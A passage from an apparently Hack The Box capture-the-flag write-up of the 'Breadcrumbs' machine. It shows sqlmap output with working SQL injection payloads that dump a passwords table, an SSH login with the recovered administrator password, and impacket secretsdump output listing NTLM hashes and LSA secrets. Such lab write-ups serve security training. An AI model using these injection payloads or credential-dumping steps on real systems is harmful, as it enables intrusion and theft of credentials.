      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:55:06 /2021-07-04/


[01:55:15] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[01:55:15] [INFO] testing connection to the target URL
[01:55:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:55:15] [INFO] testing if the target URL content is stable
[01:55:16] [INFO] target URL content is stable
[01:55:16] [INFO] testing if URI parameter '#1*' is dynamic
[01:55:16] [INFO] URI parameter '#1*' appears to be dynamic
[01:55:16] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[01:55:16] [INFO] testing for SQL injection on URI parameter '#1*'
[01:55:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:55:21] [INFO] URI parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[01:55:21] [INFO] testing 'Generic inline queries'
[01:55:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[01:55:21] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[01:55:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[01:55:21] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[01:55:21] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[01:55:21] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[01:55:22] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[01:55:22] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[01:55:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:55:22] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[01:55:22] [INFO] testing 'MySQL inline queries'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[01:55:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[01:55:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[01:55:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:55:32] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[01:55:32] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[01:55:32] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[01:55:32] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 90 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost:1234/index.php?method=select&username='+(SELECT 0x5148674a WHERE 6462=6462 AND 3447=3447)+'administrator&table=passwords

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://localhost:1234/index.php?method=select&username='+(SELECT 0x794a4e4e WHERE 8239=8239 AND (SELECT 3875 FROM(SELECT COUNT(*),CONCAT(0x7176717671,(SELECT (ELT(3875=3875,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))+'administrator&table=passwords

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://localhost:1234/index.php?method=select&username='+(SELECT 0x4147706a WHERE 2323=2323 AND (SELECT 5123 FROM (SELECT(SLEEP(5)))fLxG))+'administrator&table=passwords
---
[01:55:34] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.1, Apache 2.4.46
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[01:55:35] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[01:55:35] [INFO] fetching current database
[01:55:35] [INFO] retrieved: 'bread'
[01:55:35] [INFO] fetching tables for database: 'bread'
[01:55:35] [INFO] retrieved: 'passwords'
[01:55:35] [INFO] fetching columns for table 'passwords' in database 'bread'
[01:55:35] [INFO] retrieved: 'id'
[01:55:35] [INFO] retrieved: 'int(6) unsigned'
[01:55:35] [INFO] retrieved: 'account'
[01:55:36] [INFO] retrieved: 'varchar(30)'
[01:55:36] [INFO] retrieved: 'password'
[01:55:36] [INFO] retrieved: 'varchar(100)'
[01:55:36] [INFO] retrieved: 'aes_key'
[01:55:36] [INFO] retrieved: 'varchar(16)'
[01:55:36] [INFO] fetching entries for table 'passwords' in database 'bread'
[01:55:36] [INFO] retrieved: 'Administrator'
[01:55:36] [INFO] retrieved: 'k19D193j.<19391('
[01:55:36] [INFO] retrieved: '1'
[01:55:37] [INFO] retrieved: 'H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw='
[01:55:37] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: bread
Table: passwords
[1 entry]
+----+---------------+------------------+----------------------------------------------+
| id | account       | aes_key          | password                                     |
+----+---------------+------------------+----------------------------------------------+
| 1  | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+

[01:55:42] [INFO] table 'bread.passwords' dumped to CSV file '/home/r3pek/.sqlmap/output/localhost/dump/bread/passwords.csv'
[01:55:42] [INFO] fetched data logged to text files under '/home/r3pek/.sqlmap/output/localhost'

[*] ending @ 01:55:42 /2021-07-04/

There’s our aes_key and password. Now we can use Cyberchef to do the rest and get our password.

admin-password

There we have it! Password is p@ssw0rd!@#$9890./. Now let’s get the root flag!

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ ssh administrator@breadcrumbs.htb
administrator@breadcrumbs.htb's password: 

Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.

administrator@BREADCRUMBS C:\Users\Administrator>whoami
breadcrumbs\administrator

administrator@BREADCRUMBS C:\Users\Administrator>type desktop\root.txt
cf399de20f92a43ec196d485261781eb

administrator@BREADCRUMBS C:\Users\Administrator>

Box pw0ned! πŸ₯³

root password hash

To get the Administrator password hash we can run secretsdump script from impacket:

β”Œβ”€[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
└─$ secretsdump-3 'Administrator:p@ssw0rd!@#$9890./@breadcrumbs.htb'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9a128ef818aae7a12f43bdc41b948840
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:089ece378f5684209f2b7258bf1086f3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9fe2dab221cd6a6435e0e71fd886600a:::
juliette:1002:aad3b435b51404eeaad3b435b51404ee:0d43fbd33063292f404906f22be3f998:::
development:1003:aad3b435b51404eeaad3b435b51404ee:925c0ca13de4bca4ffb8737c13880ec4:::
www-data:1004:aad3b435b51404eeaad3b435b51404ee:e32850ebb81927358201840118bc76f1:::
sshd:1005:aad3b435b51404eeaad3b435b51404ee:62419b3dbafd0e5d0e40f93f1815807d:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x469355e78ee41a8d33a845586caf62d61cf806ba
dpapi_userkey:0x6b7c97cbefc673c03dfec0fe539a8aeddec32fdf
[*] NL$KM 
 0000   19 CA 7A 82 B1 F7 B0 60  34 A6 DF 73 FC BB 5F 1B   ..z....`4..s.._.
 0010   E6 ED 84 55 A4 B6 0A DA  E8 2C 46 C3 8A 28 3A D1   ...U.....,F..(:.
 0020   EE 55 4A EC B3 70 43 6E  80 85 A1 47 F7 C0 92 38   .UJ..pCn...G...8
 0030   6A 42 D9 16 EA 86 5B 6A  F9 B7 3D E4 1E 8F 7F 78   jB....[j..=....x
NL$KM:19ca7a82b1f7b06034a6df73fcbb5f1be6ed8455a4b60adae82c46c38a283ad1ee554aecb370436e8085a147f7c092386a42d916ea865b6af9b73de41e8f7f78
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry